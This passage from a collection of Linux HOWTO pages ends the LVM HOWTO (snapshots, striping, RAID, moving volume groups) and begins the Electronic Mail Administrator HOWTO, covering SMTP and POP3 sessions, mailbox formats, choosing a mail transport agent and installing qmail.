-rw-r--r--    1 root     root            1 Apr  2 00:28 a.test.file
drwxr-xr-x    2 root     root        12288 Apr  2 00:28 lost+found
Now we erase a.test.file from the original, and check if it's still there in the snapshot:
# rm /mnt/a.test.file
# ls /snap
total 13
-rw-r--r--    1 root     root            1 Apr  2 00:28 a.test.file
drwxr-xr-x    2 root     root        12288 Apr  2 00:28 lost+found

Amazing Mike!

7.1 How does it work?

Remember that we had to set the '--size' parameter? What really happens is that the 'snap' volume needs to have a copy of all blocks or 'chunks' as LVM calls them, which are changed in the original.

When we erased a.test.file, it's inode was removed. This caused 64 KB to be marked as 'dirty' - and a copy of the original data was written to the 'snap' volume. In this case we allocated 16MB for the snapshot, so if more than 16MB of "chunks" are modified, the snapshot will be deactivated.

To determine the correct size for a snapshot partition, you will have to guess based on usage patterns of the primary LV, and the amount of time the snapshot will be active. For example, an hour-long backup in the middle of the night when nobody is using the system may require very little space.

Please note that snapshots are not persistent. If you unload LVM or reboot, they are gone, and need to be recreated.


Logical Volume Manager HOWTO: Redundancy & Performance

 Next Previous Contents

8. Redundancy & Performance

For performance reasons, it is possible to spread data in a 'stripe' over multiple disks. This means that block 1 is on Physical Volume A, and block 2 is on PV B, while block 3 may be on PV A again. You can also stripe over more than 2 disks.

This arrangement means that your have more disk bandwidth available. It also means that more 'spindles' are involved. More on this later.

Besides increasing performance, it is also possible to have your data in copies on multiple disks. This is called mirroring. Currently, LVM does not support this natively but there are ways to achieve this.

8.1 Why stripe?

Disk performance is influenced by three things, at least. The most obvious is the speed at which data on a disk can be read or written sequentially. This is the limiting factor when reading or writing a large file on a SCSI/IDE bus with only a single disk on it.

Then there is the bandwidth available TO the disk. If you have 7 disks on a SCSI bus, this may well be less than the writing speed of your disk itself. If you spend enough money, you can prevent this bottleneck from being a problem.

Then there is the latency. As the saying goes, latency is always bad news. And even worse, you can't spend more money to get lower latency! Most disks these days appear to have a latency somewhere around 7ms. Then there is the SCSI latency, which used to be something like 25ms.

FIXME: need recent numbers!

What does this mean? The combined latency would be around 30ms in a typical case. You can therefore perform only around 33 disk operations per second. If you want to be able to do many thousands of queries per second, and you don't have a massive cache, you are very much out of luck.

If you have multiple disks, or 'spindles', working in parallel, you can have multiple commands being performed concurrently, which nicely circumvents your latency problem. Some applications, like a huge news server, don't even work anymore without striping or other IO smartness.

This is what striping does. And, if your bus is up to it, even sequential reading and writing may go faster.

8.2 Why not

Striping without further measures raises your fault chance, on a 'per bit' basis. If any of your disks dies, your entire Logical Volume is gone. If you just concatenate data, only part of your filesystem is gone.

The ultimate option is the mirrored stripe.

FIXME: make a mirrored stripe with LVM and md

8.3 LVM native striping

Specifying stripe configuration is done when creating the Logical Volume with lvcreate. There are two relevant parameters. With -i we tell LVM how many Physical Volumes it should use to scatter on. Striping is not really done on a bit-by-bit basis, but on blocks. With -I we can specify the granulation in kilobytes. Note that this must be a power of 2, and that the coarsest granulation is 128Kbyte.

Example:

# lvcreate -n stripedlv -i 2 -I 64 mygroup -L 20M
lvcreate -- rounding 20480 KB to stripe boundary size 24576 KB / 6 PE
lvcreate -- doing automatic backup of "mygroup"
lvcreate -- logical volume "/dev/mygroup/stripedlv" successfully created

Performance notices

The performance 'gain' may well be very negative if you stripe over 2 partitions of the same disk - take care to prevent that. Striping with two disks on a single IDE bus also appears useless - unless IDE has improved beyond what I remember.

FIXME: is this still true?

Older motherboards may have two IDE buses, but the second one used to be castrated, dedicated to serving a slow cdrom drive. You can perform benchmarks with several tools, the most noteworthy being 'Bonnie'. The ReiserFS people have released Bonnie++ which may be used to measure performance data.

8.4 Hardware RAID

Many high end Intel x86 servers have Hardware RAID controlers. Most of them have atleast 2 independant SCSI channels. Fortunatly, his has very little bearing on LVM. Before Linux can see anything on such a controler the administrator must define a Logical drive within the raid controler itself. As an example [s]he could choose to stripe together two disks on SCSI channel A and then mirror them onto two disks on channel B. This is a typical RAID 0/1 configuration that maximises performance and data security. When Linux boots on a machine with this configuration it can only 'see' one disk on the RAID controler and that is the Logical drive that contains the four disks in the RAID 0/1 stripeset. This means, as far as LVM is concerned, that there is just one disk in the machine and it is to be used as such. If one of the disks fails, LVM wont even know. When the administrator replaces the disk (even on the fly with HotSwap hardware) LVM wont know about that either and the controler will resync the mirrored data and all will be well. This is where most people take a step back and ask "Then what good does LVM do for me with this RAID controler?" The easy answer is, in most cases, after you define a logical drive in the RAID controler you cant add more disks to that drive later. So if you miscalculate the space requirements or you simply need more space you cant add a new disk or set of disks into a pre-exsisting stripeset. This means you must create a new RAID stripset in the controler and then with LVM you can simply extend the LVM Logical volume so that it seamlessly spans both stripesets in the RAID controler.

FIXME: Is there more needed on this subject ?

8.5 Linux software RAID

Linux 2.4 comes with very good RAID in place. Linux 2.2 by default, as released by Alan Cox, features an earlier RAID version that's not well regarded. The reason that 2.2 still features this earlier release is the the kernel people don't want to make changes within a stable version that require userland updates.

Most people, which included Red Hat, Mandrake and SuSE, chose to replace it with the 0.90 version which appears to be excellent.

We will only treat the 0.90 version here.

FIXME: write more of this


Logical Volume Manager HOWTO: Cookbook

 Next Previous Contents

9. Cookbook

9.1 Moving LVM disks between computers

With all this new technology, simple tasks like moving disks from one machine to another can get a bit tricky. Before LVM users only had to put the disk into the new machine and mount the filesystems. With LVM there is a bit more to it. The LVM structures are saved both on the disks and in the /etc/lvmconf directory so the only thing that has to be done to move a disk or a set of disks that contain a Volume Group is to make sure the machine that the VG belonged to will not miss it. That is accomplished with the vgexport command. vgexport simply removes the structures for the VG from /etc/lvmconf, but does not change anything on the disks. Once the disks are in the new machine (they don't have to have the same ID's) the only thing that has to be done is to update /etc/lvmconf. Thats done with vgimport.

Example:

On machine #1:

vgchange -a n vg01
vgexport vg01
On machine #2:
vgimport vg01 /dev/sda1 /dev/sdb1
vgchange -a y vg01

Notice that you don't have to use the same name for the Volume Group. If the vgimport command did not save a configuration backup use vgcfgbackup to do it.

9.2 Rebuilding /etc/lvmtab and /etc/lvmtab.d

FIXME: write about more neat stuff


Logical Volume Manager HOWTO: Further reading

 Next Previous Contents

10. Further reading

LVM site

The main LVM resource available

German LVM HOWTO

If you can read German, this already contains a lot of information

Translation of the German HOWTO

Peter.Wuestefeld@resnova.de is translating the German HOWTO into English. It appears that they will soon be investing lots of time in it. If you doubt our HOWTO or miss something, please try their effort.

HP/UX Managing Disks Guide

Since the Linux LVM is almost an exact workalike of the HP/UX implementation, their documentation is very useful to us as well. Very good stuff.


Logical Volume Manager HOWTO: Acknowledgements & Thanks to

 Next Previous Contents

11. Acknowledgements & Thanks to

We try to list everybody here who helped make this HOWTO. This includes people who send in updates, fixes or contributions, but also people who have aided our understanding of the subject.

  • Axel Boldt <axel@uni-paderborn.de>
  • Sean Reifschneider <jafo@tummy.com>
  • Alexander Talos <at@atat.at>
  • Eric Maryniak <e.maryniak@pobox.com>


The Linux Electronic Mail Administrator HOWTO

Guylhem Aznar <guylhem at metalab.unc.edu>

v3.2, January 2000

This document describes the setup, care and feeding of Electronic Mail (e-mail) under Linux. It is primarily intended for administrators, rather than users. (See the Mail-User's-HOWTO for information on user issues and user agents.) You need to read this if you plan to communicate locally or to remote sites via electronic mail. You probably do *not* need to read this document if don't exchange electronic mail with other users on your system or with other sites.

1. Introduction, copyright and standard disclaimer

  • 1.1 Email and spamming
  • 1.2 Goals
  • 1.3 New versions
  • 1.4 Feedback
  • 1.5 Copyright
  • 1.6 Limited warranty

2. Other sources of information

  • 2.1 Mail User's HOWTO
  • 2.2 USENET
  • 2.3 Mailing Lists
  • 2.4 Other documents from LDP
  • 2.5 Books

3. How Electronic Mail Works

  • 3.1 Mail between full-time Internet machines
  • 3.2 Notifiers
  • 3.3 Mail to part-time Internet machines
  • 3.4 Remote mail and remote-mail protocols
  • 3.5 Mailbox formats

4. Requirements

  • 4.1 Hardware

5. Choosing a Mail Transport Agent

  • 5.1 sendmail
  • 5.2 smail v3.2
  • 5.3 qmail
  • 5.4 exim

6. Installing Transport Software

  • 6.1 Qmail v1.03
  • 6.2 Smail v3.1
  • 6.3 OUTDATED SECTION: Sendmail+IDA
  • 6.4 Sendmail 8.x
  • 6.5 Local Delivery Agents

7. User Agent Administration

  • 7.1 Mutt
  • 7.2 Elm
  • 7.3 Mailx

8. Handling remote mail

  • 8.1 History
  • 8.2 Getting mail
  • 8.3 Sending mail
  • 8.4 Reading mail
  • 8.5 Testing
  • 8.6 Using

9. Acknowledgements


The Linux Electronic Mail Administrator HOWTO: Introduction, copyright and standard disclaimer

 Next Previous Contents

1. Introduction, copyright and standard disclaimer

1.1 Email and spamming

To send mail to anyone mentioned in this document, convert "at" in email addresses to "@".

This conversion is simple for humans, but not spammers' address harvesters; therefore it's useful to protect generous contributors from being spammed!

1.2 Goals

The intent of this document is to answer some of the questions and comments that appear to meet the definition of "frequently asked questions" about e-mail software under Linux in general and the version in the Linux Debian and RedHat distributions in particular.

1.3 New versions

New versions of this document will be periodically posted to comp.os.linux.announce, comp.answers and mail.answers. They will also be added to the various anonymous ftp sites who archive such information including sunsite.unc.edu:/pub/Linux/docs/HOWTO.

In addition, you should be generally able to find this document on the Linux WorldWideWeb home page at http://sunsite.unc.edu/mdw/linux.html.

1.4 Feedback

I am interested in any feedback, positive or negative, regarding the content of this document via e-mail. Definitely contact me if you find errors or obvious omissions.

I read, but do not necessarily respond to, all e-mail I receive. Requests for enhancements will be considered and acted upon based on that day's combination of available time, merit of the request and daily blood pressure :-)

Flames will quietly go to /dev/null so don't bother.

Feedback concerning the actual format of the document should go to the HOWTO coordinator : Tim Bynum (howto at wallybox.cei.net).

1.5 Copyright

The Mail-Administrator HOWTO is copyrighted (c) 1998 Guylhem Aznar. Distributed under LDP copyright license. If you have questions, please contact the Linux HOWTO coordinator, at howto at wallybox.cei.net.

1.6 Limited warranty

Of course, I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.


The Linux Electronic Mail Administrator HOWTO: Other sources of information

 Next Previous Contents

2. Other sources of information

http://metalab.unc.edu/LDP/HOWTO/Mail-User-HOWTO.html.

2.2 USENET

There is nothing special about configuring and running mail software under Linux (any more). Accordingly, you almost certainly do NOT want to be posting generic mail-related questions to the comp.os.linux.* newsgroups.

Don't post in comp.os.linux hierarchy unless it's really linux specific, for example : "Which options was Debian 1.2 sendmail compiled with ?" or "RedHat 5.0 smail crashes when I run it".

Let me repeat that.

There is virtually no reason to post anything mail-related in the comp.os.linux hierarchy any more. There are existing newsgroups in the comp.mail.* hierarchy to handle *ALL* your questions.

IF YOU POST TO COMP.OS.LINUX.* FOR NON-LINUX-SPECIFIC QUESTIONS, YOU ARE LOOKING IN THE WRONG PLACE FOR HELP. THE MAIL EXPERTS HANG OUT IN THE PLACES INDICATED ABOVE AND GENERALLY DO NOT RUN LINUX.

POSTING TO THE LINUX HIERARCHY FOR NON-LINUX-SPECIFIC QUESTIONS WASTES YOUR TIME AND EVERYONE ELSE'S AND IT FREQUENTLY DELAYS YOUR GETTING THE ANSWER TO YOUR QUESTION.

GOOD PLACES are :

           comp.mail.elm           the ELM mail system.
           comp.mail.mh            The Rand Message Handling system.
           comp.mail.mime          Multipurpose Internet Mail Extensions.
           comp.mail.misc          General discussions about computer mail.
           comp.mail.multi-media   Multimedia Mail.
           comp.mail.mush          The Mail User's Shell (MUSH).
           comp.mail.sendmail      the BSD sendmail agent.
           comp.mail.smail         the smail mail agent.
           comp.mail.uucp          Mail in the uucp environment.

2.3 Mailing Lists

There are many sendmail, smail and qmail mailing lists.

You can find addresses in /usr/doc/the_one_you_have_chosen.

2.4 Other documents from LDP

There is plenty of excellent material provided in the other Linux HOWTO documents and from the Linux DOC project.

In particular, you might want to take a look at the following:

  • on your own computer in /usr/doc/ :-)
  • the Linux Networking Administrators' Guide
  • the Mail Users HOWTO
  • the Serial Communications HOWTO
  • the Ethernet HOWTO
  • the UUCP HOWTO if you're fed via UUCP

2.5 Books

The following is a non-inclusive set of books that will help:

  • "Managing UUCP and USENET" from O'Reilly and Associates is in my opinion the best book out there for figuring out the programs and protocols involved in being a USENET site.
  • "Unix Communications" from The Waite Group contains a nice description of all the pieces (and more) and how they fit together.
  • "Sendmail" from O'Reilly and Associates looks to be the definitive reference on sendmail-v8 and sendmail+IDA. It's a "must have" for anybody hoping to make sense out of sendmail without bleeding in the process.
  • "The Internet Complete Reference" from Osborne is a fine reference book that explains the various services available on Internet and is a great source for information on news, mail and various other Internet resources.
  • "The Linux Networking Administrators' Guide" from Olaf Kirch of the Linux Documentation Project is available on the net and is also published by (at least) O'Reilly and SSC. It makes a fine one-stop shop to learn about everything you ever imagined you'd need to know about Unix networking.


The Linux Electronic Mail Administrator HOWTO: How Electronic Mail Works

 Next Previous Contents

3. How Electronic Mail Works

Now we'll explain the flow of information that typically takes place when two people to communicate by email. Let us suppose that Alice, on her machine wonderland.com, wants to send mail to Bob, on his machine dobbs.com. Both machines are connected to the Internet.

It helps to know that an Internet mail message consists of two parts; mail headers and a mail body, separated by a blank line. The mail headers contain the source and destination of the mail, a user-supplied subject line, the date it was sent, and various other kinds of useful information. The body is the actual content of the message. Here's an example:

From: "Alice" <alice@wonderland.com>
Message-Id: <199711131704.MAA18447@wonderland.com>
Subject: Have you seen my white rabbit?
To: bob@dobbs.org (Bob)
Date: Thu, 13 Nov 1997 12:04:05 -0500 (EST)
Content-Type: text

I'm most concerned.  I fear he may have fallen down a hole.
--
                                                >>alice>>

The arrangement and meaning of Internet mail headers are defined by an Internet standard called RFC822.

3.1 Mail between full-time Internet machines

Here's a diagram of the whole process -- I'll explain all the stages and terminology below.

                   +---------+          +-------+
+-------+  types   | sending |  calls   |sending|
| Alice |--------->|   MUA   |--------->|  MTA  |::::>::::
+-------+          |         |          |       |       ::   on the
                   +---------+          +-------+       ::   sending
                                                        ::   machine
.......................................................................
                             SMTP                       ::
 ::::::::::::::::::::::::::::<::::::::::::::::::::::::::::
 ::
 ::   +---------+          +-----+                +-------+
 ::   |receiving|  calls   |     |  delivers to   | Bob's |
 ::::>|   MTA   |--------->| LDA |===============>|mailbox|  on the
      |         |          |     |                |       |  receiving
      +---------+          +-----+                +-------+  machine
                                                    |   |
                                                    |   |
                     +----------------<-------------+   |
                     |                                  |
                +---------+         +-------+           |
                |  Bob's  |         | Bob's |<----------+
                | notifier|         |  MUA  |
                +---------+         +-------+
                     |                  |
                     |      +-----+     |
                     +----->| Bob |<----+
                            +-----+

To send mail, Alice will invoke a program called a mail user agent (or MUA for short). The MUA is what users think of as `the mailer'; it helps her compose the message, usually by calling out to a text editor of her choice. When she hits the MUA `send' button, her part of the process is done. Later in this HOWTO we will survey popular MUAs.

The MUA she uses immediately hands her message to a program called a mail transport agent (or MTA). Usually this program will be sendmail, though some alternative MTAs are gaining popularity and may appear in future Linux distributions. Later in this HOWTO we will also survey MTAs.

The MTA's job is to pass the mail to an MTA on Bob's machine. It determines Bob's machine by analyzing the To header and seeing the dobbs.com on the right-hand side of Bob's address. It uses that address to open an Internet connection to Bob's machine. The mechanics of making that connection are a whole other topic; for this explanation, it's enough to know that that connection is a way for Alice's MTA to send text commands to Bob's machine and receive replies to those commands.

The MTA's commands don't go to a shell. Instead they go to a service port on Alice's machine. A service port is a sort of rendezvous, a known place where Internet service programs listen for incoming requests. Service ports are numbered, and Alice's MTA knows that it needs to talk to port 25 on Bob's machine to pass mail.

On port 25, Bob's machine has its own MTA listening for commands (probably another copy of sendmail). Alice's MTA will go through a dialogue with Bob's using Simple Mail Transfer Protocol (or SMTP). Here is what an SMTP dialogue looks like. Lines sent by Alice's machine are shown with S:, responses from Bob's machine are shown with R:.

      S: MAIL FROM:<alice@wonderland.com>
      R: 250 OK
      S: RCPT TO:<bob@dobbs.com>
      R: 250 OK
      S: DATA
      R: 354 Start mail input; end with <CRLF>.<CRLF>
      S: From: "Alice" <alice@wonderland.com>
      S: Message-Id: <199711131704.MAA18447@wonderland.com>
      S: Subject: Have you seen my white rabbit?
      S: To: bob@dobbs.org (Bob)
      S: Date: Thu, 13 Nov 1997 12:04:05 -0500 (EST)
      S: Content-Type: text
      S:
      S: I'm most concerned.  I fear he may have fallen down a hole.
      S: --
      S:                                                 >>alice>>
      S: .
      R: 250 OK

Usually an SMTP command is a single text line and so is its response. The DATA command is an exception; after seeing that, the SMTP listener accepts message lines until it sees a period on a line by itself. (SMTP is defined by the Internet standard RFC821.)

Now Bob's MTA has Alice's message. It will add a header to the message that looks something like this:

Received: (from alice@wonderland.com)
        by mail.dobbs.com (8.8.5/8.8.5) id MAA18447
        for bob@dobbs.com; Thu, 13 Nov 1997 12:04:05 -0500

This is for tracking purposes in case of mail errors (sometimes a message has to be relayed through more than one machine and will have several of these). Bob's MTA will pass the modified message to a local delivery agent or LDA. On Linux systems the LDA is usually a program called procmail, though others exist.

The LDA's job is to append the message to Bob's mailbox. It's separate from the MTA so that both programs can be simpler, and so the MTA can concentrate on doing Internet things without worrying about local details like where the user mailboxes live.

Bob's mailbox will normally be a file called /usr/spool/mail/bob or /var/mail/bob. When he reads mail, he runs his own MUA (mail user agent) to look at and edit that file.

3.2 Notifiers

There's yet another kind of program that is important in the mail chain, though it does not itself read or transmit mail. It's a mail notifier, a program that watches your email in-box for activity and signals you when new mail is present.

The original notifier was a pair of Unix programs called biff(1) and comsat(8). The biff program is a front end that enables you to turn on the comsat service. When this service is on, the header of new mail will be dumped to your terminal as it arrived. This facility was designed for people using line-oriented programs on CRTs; it's not really a good idea in today's environment.

Most Unix shells have built-in mailcheck facilities that allow them to function as notifiers in a rather less intrusive way (by emitting a message just before the prompt when new mail is detected). Typically you can enable this by setting environment variables documented on the shell's manual page. For shells in the sh/ksh/bash family, see the MAIL and MAILPATH variables

Systems supporting X come with one of several little desktop gadgets that check for new mail periodically and give you both visible and audible indication of new mail. The oldest and most widely used of these is called xbiff; if your Linux has a preconfigured X desktop setup, xbiff is probably on it. See the xbiff(1) manual page for details.

3.3 Mail to part-time Internet machines

If you were reading carefully, you may have noticed that the information flow we described above depends on Alice's machine being able to talk to Bob's machine immediately. What happens if Bob's machine is down, or is up but not connected to the Internet?

If Alice's MTA can't reach Bob's immediately, it will stash Alice's message in a mail queue on wonderland.com. It will then retry sending the mail at intervals until an expiration time is reached, at which point a bounce message notifying Alice of the failure will be sent back to her. In the default configuration of the most popular MTA (sendmail), the retry interval is 15 minutes and the expiration time is 4 days.

3.4 Remote mail and remote-mail protocols

Many Linux users nowadays are connected to the Internet via ISPs (Internet Service Providers) and don't have their own Internet domains. Instead they have accounts on an ISP machine. Their mail gets delivered to a mailbox on that ISP machine. But typically these users want to read and reply to their mail using their own machines, which connect to the ISP intermittently using SLIP or PPP. Linux supports remote mail protocols to support this.

Note how this is different from the scenario we discussed in the last section. Mail sitting in a queue awaiting retransmission is not the same as mail dispatched to a server mailbox; mail in a queue is not considered to have been delivered and is subject to expiration, but mail delivered to an ISP server mailbox is considered `delivered' and can sit there indefinitely.

A remote-mail protocol allows mail on a server to be pulled across a network link by a client program (this is the opposite of normal delivery in which an MTA pushes mail to a receiving MTA). There are two remote-mail protocols in common use; POP3 (defined by the Internet standard RFC1939) and IMAP (defined by the Internet standard RFC2060). Effectively all ISPs support POP3; a growing number support IMAP (which is more powerful).

Here is what an example POP3 session looks like:

      S: <client connects to service port 110>
      R:    +OK POP3 server ready <1896.697170952@mailgate.dobbs.org>
      S:    USER bob
      R:    +OK bob
      S:    PASS redqueen
      R:    +OK bob's maildrop has 2 messages (320 octets)
      S:    STAT
      R:    +OK 2 320
      S:    LIST
      R:    +OK 2 messages (320 octets)
      R:    1 120
      R:    2 200
      R:    .
      S:    RETR 1
      R:    +OK 120 octets
      R:    <the POP3 server sends message 1>
      R:    .
      S:    DELE 1
      R:    +OK message 1 deleted
      S:    RETR 2
      R:    +OK 200 octets
      R:    <the POP3 server sends message 2>
      R:    .
      S:    DELE 2
      R:    +OK message 2 deleted
      S:    QUIT
      R:    +OK dewey POP3 server signing off (maildrop empty)
      S:  <client hangs up>

An IMAP session uses different commands and responses, but is logically very similar.

To take advantage of POP3 or IMAP, you need a remote mail client program to pull your mail. Some mail user agents have client capabilities built in (which one supports which is noted below), and the Netscape browser's mail facility supports both POP and IMAP natively.

The main drawback of POP client facilities built into MUAs is that you have to explicitly tell your mailer to poll the server; you don't get notified by xbiff(1) or equivalent, as you would for mail that is either local or delivered by a conventional SMTP `push' connection. Also, of course, not all MUAs can do POP/IMAP, so you may find yourself compromising on other features.

Your Linux probably comes with a program called fetchmail that is designed specifically to talk to remote-mail servers, fetch mail, and feed it into your normal mail delivery path by speaking SMTP to your listener.

Unless you need to keep your mail on the server (for example, because you move around between client machines a lot) fetchmail is probably a better solution than whatever POP/IMAP features your user agent has. Fetchmail can be told to run in background and poll your server periodically, so your xbiff(1) or other mail-notifier program will work as it would for SMTP mail. Also, fetchmail is rather more tolerant of various idiosyncracies and nonstandard server quirks than the clients in MUAs, and has better error recovery.

Here's a diagram showing how both cases (with and without fetchmail) work:

                   +---------+          +-------+
+-------+  types   | sending |  calls   |sending|
| Alice |--------->|   MUA   |--------->|  MTA  |::::>::::
+-------+          |         |          |       |       ::
                   +---------+          +-------+       ::   on the
                                                        ::   sending
                             SMTP                       ::   machine
 ::::::::::::::::::::::::::::<::::::::::::::::::::::::::::
 ::
.::.......................................................................
 ::
 ::   +---------+          +-----+             +-------+
 ::   |receiving|  calls   |     |  delivers   | Bob's |
 ::::>|   MTA   |--------->| LDA |============>|server |::::>::::
      |         |          |     |    to       |mailbox|       ::  on the
      +---------+          +-----+             +-------+       ::   mail
                                                               ::  server
                          POP or IMAP                          ::
 ::::::::::::::::::::::::::::<:::::::::::::::::::::::::::::::::::
 ::
.::........................................................................
 ::
 ::                  +-----------+
 ::                  |           |
 :::::::>::::::::::::| fetchmail |::::::::               on the
 ::                  |           |      ::              receiving
 ::                  +-----------+      ::               machine,
 ::                                     ::             with fetchmail
 ::   ::::::::::::::::<:::::::::::::::::::
 ::   ::
 ::   ::   +---------+          +-----+                +-------+
 ::   ::   |receiving|  calls   |     |  delivers to   | Bob's |
 ::   ::::>|   MTA   |--------->| LDA |===============>|mailbox|
 ::        |         |          |     |                |       |
 ::        +---------+          +-----+                +-------+
 ::                                                      |   |
 ::                                                      |   |
 ::                       +----------------<-------------+   |
 ::                       |                                  |
 ::                  +---------+         +-------+           |
 ::                  |  Bob's  |         | Bob's |<----------+
 ::                  | notifier|         |  MUA  |
 ::                  +---------+         +-------+
 ::                       |                  |
.::........................................................................
 ::                   .   |                  |
 ::     without       .   |                  |
 ::    fetchmail      .   |                  |
 ::                   .   |      +-----+     |
 ::   +----------+    .   +----->|     |<----+
 ::   |  Bob's   |    .          | Bob |
 :::::| POP/IMAP |----.--------->|     |
      |   MUA    |    .          +-----+
      +----------+    .

3.5 Mailbox formats

When incoming mail gets appended to a mailbox, it's up to the MTA to provide some kind of delimiters that tell where one message stops and the next begins.

Under Unix, the convention almost all mailers use is that each line beginning with ``From '' (the space is significant) begins a new message. If ``From '' occurs at the beginning of a line in text, a Unix MTA will generally prefix it with a greater-than sign, so it looks like ``>From ''. RFC822 headers follow this From line (which usually continues with the sender name and receipt date).

This convention originated with Unix Version 7, so this kind of mailbox is referred to as a ``V7 mailbox''; it is also sometimes called ``mbox format''. Unless otherwise noted, all programs mentioned in this HOWTO expect this format. It is not, however, quite universal, and tools expecting and generating different formats can confuse each other badly.

The four other formats to know about (and beware of!) are BABYL, MMDF, MH, and qmail maildir. Of these, MMDF is the simplest; it uses a delimiter line consisting four control-As (ASCII 001) characters followed by CR-LF. MMDF was an early and rather crude Internet mail transport; a descendant is still in use on SCO systems.

BABYL is another survival, from an early mail system at MIT. It is still used by Emacs's mail-reader mode.

MH and qmail maildir are `mailbox' formats which actually burst each mailbox into a directory of files, one per message. Running grep on such a `mailbox' will get you nowhere, since all grep will see are the directory bits.

Microsoft Outlook Express .mbx mailboxes can be converted to RFC822 format with mbx2mbox app.


The Linux Electronic Mail Administrator HOWTO: Requirements

 Next Previous Contents

4. Requirements

4.1 Hardware

There are no specific hardware requirements for mail under Linux.

You'll need some sort of 'transport' software to connect to remote systems, which means either TCP/IP or uucp.

This could mean that you need a modem or ethernet card, depending on your setup. In most cases, you'll want the fastest modem you can afford, i.e. V90 57 600 bps currently. In general, you want to have a 16550 UART on your serial board or built into your modem to handle speeds of above 9600 baud.

If you don't know what that last sentence means, please consult the comp.dcom.modems group or the various fine modem and serial communications FAQs and periodic postings on USENET.


The Linux Electronic Mail Administrator HOWTO: Choosing a Mail Transport Agent

 Next Previous Contents

5. Choosing a Mail Transport Agent

Mail transport agents are the software that transfers mail from your local system to remote systems. It is very seldom necessary to mess with or replace your MTA on a modern Linux, and you're better off not fixing what isn't broken. Nevertheless, here's a survey to get you started on understanding what the tradeoffs are if you decide you need more security or performance than your system's default can offer.

(There are other Unix MTAs besides these, but you are quite unlikely to encounter them on a Linux box.)

Each has its own unique features, but the best compromise is qmail. It features high security (even if vmail is more secure), high speed (even if smail is faster for local uses) and ease of configuration. Of course, feel free to choose any mail software. The information provided here is intended to help you choose well.

Sendmail can be nice for many sites with complicated options, but I think its configuration is too hard for beginners while it is not very secure or very fast, so there is only a really outdated sendmail section in this HOWTO.

If you know what you're doing, choose sendmail (and you shouldn't be reading this HOWTO!); otherwise I generally recommend qmail.

Detailed descriptions of these programs follow.

5.1 sendmail

BSD sendmail is the grandaddy of Internet MTAs. It has outlasted a few would-be successors. Most Linux distributions now use it and have it preinstalled.

Sendmail has a long-standing reputation for being an administrator's nightmare -- hard to understand, tricky to configure, rife with security holes. As Internet technology and standards have stabilized, however, many of the sendmail options and configurable rules that gave rise to this reputation have ceased to require per-site tweaking (the effective demise of non-TCP/IP network layers like UUCP has helped a lot). Also, recent sendmail versions have an improved configuration system that insulates you from the legendary hideousness of the sendmail.cf configuration file. Most importantly, sendmail now normally comes preconfigured, and you should never need to touch it unless you have unusual requirements (such as needing to route mail over a non-TCP/IP network).

There is a sendmail home page at http://www.sendmail.org. It includes references to extensive documentation of sendmail, should you actually need to wrestle with custom-configuring it.

Other MTAs, if called as `sendmail', may mimic the semantics of sendmail's command-line options. This is convenient for mail user agents, which often assume they are talking to sendmail.

5.2 smail v3.2

Smail was the first serious attempt to replace sendmail. It has a simpler and much more comprehensible configuration system than sendmail's, and it's fairly secure. Some Linux distributions preinstall it rather than sendmail.

At one time smail's excellent support for mixed TCP/IP and UUCP sites was a major selling point for it, but as UUCP has declined, so has smail. Also, smail is less efficient than sendmail on high-volume connections.

As with sendmail, it is unlikely that you will need to tweak a preinstalled smail configuration.

(Very occasionally you might run across references to an `smail 2.5'. This program has been obsolete for a long time. Don't bother with it.)

5.3 qmail

The qmail program is a sendmail-compatible MTA designed specifically for high security. The author has a standing reward of $500 for publication of the first verifiable security hole; this reward has gone unclaimed since March 1997.

The qmail home page is at http://pobox.com/~djb/qmail.html.

5.4 exim

The exim program is similar to smail3, but with more features. It advertises particular strengths in spam-blocking and support of several virtual hosts (virtual DNS domains) on the same host.

The exim home page is at http://www.exim.org/.

I tried it on my own computer, it looks like a nice merge between smail configuration system and qmail security, moreover it has the advantage of being GPL.

A section explaining how to replace your current MTA by exim will be added soon.


The Linux Electronic Mail Administrator HOWTO: Installing Transport Software

 Next Previous Contents

6. Installing Transport Software

6.1 Qmail v1.03

Secured, fast and easy to use, this is my preferred MTA (mail transport agent).

Currently, no distribution comes with qmail preinstalled. We will focus on compiling and installing qmail, since this is the only tricky part: configuration is really straightforward.

Getting qmail

Go to www.qmail.org to download the latest version.

Uncompressing sources

Then decompress it by running:

mv qmail.tar.gz /usr/local/src
cd /usr/local/src ; tar -zxvf qmail.tar.gz

If you find a bz2 version (new and better compression format), just replace tar with:

bunzip2 qmail.tar.bz2
tar -xvf qmail.tar

Preparing for compilation

Now enter the qmail directory to examine the configuration defaults:

cd qmail; more conf-*

You shouldn't need to change any defaults, but you could (for example) specify an alternate installation directory or better compilation flags.

Now run:

mkdir /var/qmail
to create target dir.

If you haven't installed a Debian distribution, you'll need to add several user IDs for qmail's use: qmail's high security depends on that.

The fact that qmail is divided into modules running each under their own UID makes it much harder for an intruder to break your whole mail system or gain root access by abusing it.

So run:

   # groupadd nofiles
   # useradd -g nofiles -d /var/qmail/alias alias
   # useradd -g nofiles -d /var/qmail qmaild
   # useradd -g nofiles -d /var/qmail qmaill
   # useradd -g nofiles -d /var/qmail qmailp
   # groupadd qmail
   # useradd -g qmail -d /var/qmail qmailq
   # useradd -g qmail -d /var/qmail qmailr
   # useradd -g qmail -d /var/qmail qmails

or hand-edit /etc/passwd and /etc/group to add these users by yourself.

Evan E. reported he had to use "-g groupid" parameter for a vanilla groupadd (Caldera 1.2), else groupadd reported this error : "A group with that name already exists."

For example you can respectively add:

        qmail:*:2107:
        nofiles:*:2108:

&

        alias:*:7790:2108::/var/qmail/alias:/bin/true
        qmaild:*:7791:2108::/var/qmail:/bin/true
        qmaill:*:7792:2108::/var/qmail:/bin/true
        qmailp:*:7793:2108::/var/qmail:/bin/true
        qmailq:*:7794:2107::/var/qmail:/bin/true
        qmailr:*:7795:2107::/var/qmail:/bin/true
        qmails:*:7796:2107::/var/qmail:/bin/true

Now you can run

make setup check

to check your configuration, then :

./config
to configure qmail.

Attention, your server has to be resolvable by DNS or ./config will get confused.

If you don't have DNS access, you can give your server name directly via :

./config-fast foo.bar.com

Now you must install some aliases, since /etc/alias is not used by qmail unless you compile and install an optional package.

Here's my setup :

File : ".qmail-MAILER-DAEMON"
&postmaster
File : ".qmail-bin"
&root
File : ".qmail-daemon"
&root
File : ".qmail-decode"
&root
File : ".qmail-dumper"
&root
File : ".qmail-games"
&root
File : ".qmail-ingres"
&root
File : ".qmail-mailer-daemon"
&postmaster
File : ".qmail-manager"
&root
